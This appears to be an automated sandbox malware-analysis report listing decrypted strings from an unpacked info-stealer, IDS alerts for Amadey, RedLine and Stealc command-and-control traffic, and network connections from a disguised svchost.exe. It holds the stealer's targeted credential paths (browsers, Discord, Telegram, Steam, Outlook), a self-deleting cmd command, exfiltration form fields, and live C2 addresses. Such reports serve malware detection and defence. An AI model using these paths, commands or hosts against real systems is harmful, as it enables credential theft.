Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Local Time:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - UTC:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Language:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Keyboards:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Laptop:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Running Path:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - CPU:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Threads:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Cores:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - RAM:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - Display Resolution:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: - GPU:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: User Agents:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Installed Apps:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: All Users:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Current User:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Process List:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: system_info.txt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: freebl3.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: mozglue.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: msvcp140.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: nss3.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: softokn3.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: vcruntime140.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Temp\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: .exe
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: runas
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: open
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: /c start
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %DESKTOP%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %APPDATA%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %USERPROFILE%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %DOCUMENTS%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: %RECENT%
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: *.lnk
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: files
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \discord\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Telegram Desktop\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: key_datas
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: map*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Telegram
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: *.tox
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: *.ini
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Password
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: 00000001
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: 00000002
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: 00000003
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: 00000004
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Pidgin
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \.purple\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: accounts.xml
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: token:
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Software\Valve\Steam
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: SteamPath
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \config\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ssfn*
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: config.vdf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DialogConfig.vdf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: libraryfolders.vdf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: loginusers.vdf
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Steam\
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: sqlite3.dll
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: browsers
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: done
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: soft
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: https
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: POST
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: HTTP/1.1
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: hwid
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: build
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: token
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: file_name
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: file
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: message
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 18.2.hello.exe.6c3a3000.4.raw.unpack	String decryptor: screenshot.jpg

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Unpacked PE file: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Unpacked PE file: 42.2.svchost.exe.1b0000.0.unpack

Source: mlk3kK6uLZ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.80.22:443 -> 192.168.2.5:58992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.5:443 -> 192.168.2.5:59214 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: aspnet_regiis.exe, 00000014.00000002.2837675015.000000006C0CD000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: nss3.pdb@ source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: ntdll.pdb source: build16666.exe, 00000015.00000002.2732029264.000001662AFE0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729447807.000001662A1E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730244326.000001662A7E9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730481150.000001662A9EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729986189.000001662A5E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2731462760.000001662ADE9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730926078.000001662ABEF000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2742546399.000001662CBE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735116835.000001662B9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729694439.000001662A3EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2739098908.000001662C7E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2737730487.000001662C3E6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2738483590.000001662C5E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734502417.000001662B5E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736372776.000001662BFE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2728871110.0000016629DE1000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729156228.0000016629FE6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2743279212.000001662CDE7000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2740303581.000001662C9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736774582.000001662C1EA000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735601672.000001662BBED000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735992123.000001662BDEE000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2733319304.000001662B3EC000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734791719.000001662B7E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2732670905.000001662B1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: build16666.exe, 00000015.00000002.2732029264.000001662AFE0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729447807.000001662A1E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730244326.000001662A7E9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730481150.000001662A9EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729986189.000001662A5E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2731462760.000001662ADE9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730926078.000001662ABEF000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2742546399.000001662CBE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735116835.000001662B9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729694439.000001662A3EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2739098908.000001662C7E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2737730487.000001662C3E6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2738483590.000001662C5E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734502417.000001662B5E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736372776.000001662BFE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2728871110.0000016629DE1000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729156228.0000016629FE6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2743279212.000001662CDE7000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2740303581.000001662C9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2736774582.000001662C1EA000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735601672.000001662BBED000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735992123.000001662BDEE000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2733319304.000001662B3EC000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2734791719.000001662B7E0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2732670905.000001662B1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: mozglue.pdb source: aspnet_regiis.exe, 00000014.00000002.2837675015.000000006C0CD000.00000002.00000001.01000000.00000018.sdmp

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00ABF79D FindFirstFileExW,	4_2_00ABF79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041B6EA FindFirstFileExW,	5_2_0041B6EA
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C394E75 FindFirstFileExW,	18_2_6C394E75

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 4x nop then jmp 07981F7Dh		11_2_07981F5C
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Code function: 4x nop then jmp 0798093Fh		11_2_07980927

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:49704 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.81:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49705 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.5:49710 -> 185.172.128.33:8970
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.5:49710 -> 185.172.128.33:8970
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 185.172.128.33:8970 -> 192.168.2.5:49710
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 185.172.128.33:8970 -> 192.168.2.5:49710
Source: Traffic	Snort IDS: 2044623 ET TROJAN Amadey Bot Activity (POST) 192.168.2.5:58973 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2044623 ET TROJAN Amadey Bot Activity (POST) 192.168.2.5:58978 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:58980 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:58981 -> 85.28.47.70:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:58981 -> 85.28.47.70:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.70:80 -> 192.168.2.5:58981
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:58981 -> 85.28.47.70:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.70:80 -> 192.168.2.5:58981
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:58983 -> 77.91.77.81:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 171.217.69.113 10800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 170.106.76.24 21707
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.0.235.52 35104
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 137.53.152.220 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.128.133.141 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.178.172.5 15303
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 107.152.98.5 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 46.8.60.2 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.10.160.172 10425
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 199.102.104.70 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.31.138.26 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.121.183.107 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.126.86.78 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 113.161.210.60 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.121.182.88 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.227.158.154 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.39.193.109 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 218.201.21.154 83
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 75.119.145.154 37347
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.213.156.191 9080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 135.148.10.161 19212
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 198.157.68.47 1337
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 197.98.201.15 10909
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 115.178.181.15 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.43.236.20 12797
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.152.112.234 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 190.109.72.25 33633
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 43.129.195.235 8118
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.36.166.42 15832
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.32.47.105 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.37.216.68 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 182.253.246.213 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 188.209.246.243 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 149.62.193.91 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.181.217.201 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 172.135.136.144 8081
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 194.44.74.118 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.10.164.178 2679
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.79.189.110 35723
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 162.241.45.22 42021
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.182.52.159 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 20.247.104.85 39918
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 38.57.3.54 46235
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.141.189.62 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 81.12.169.254 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.64.199.82 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.111.139.163 19404
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.111.138.29 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 27.123.3.141 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 57.139.102.111 22
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.111.22.65 58563
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 176.112.96.2 3629
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 129.126.65.78 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 31.200.242.201 12196
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 92.241.66.138 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.205.128.7 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.47.93.236 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 222.165.223.138 41541
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.116.210.163 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 201.71.2.177 999
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 162.214.75.237 24949
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.43.228.251 1961
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.78.16.76 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.130.36.245 8888
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 141.105.107.152 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 36.82.203.68 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 38.57.3.39 28506
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 197.251.236.226 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 107.180.101.226 37552
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.210.123 7749
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 195.2.78.251 1987
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 114.108.177.104 60984
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 24.249.199.4 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 193.200.151.158 8192
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.72.82.9 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 212.19.171.48 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 117.74.65.207 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.18.11.5 443
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 97.74.229.3 45644
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 173.212.237.43 9170
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 195.2.76.207 11531
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 198.12.253.239 39820
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.195.34.58 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 178.62.7.98 33475
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.121.214.50 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 66.29.128.244 41496
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.212.125 21307
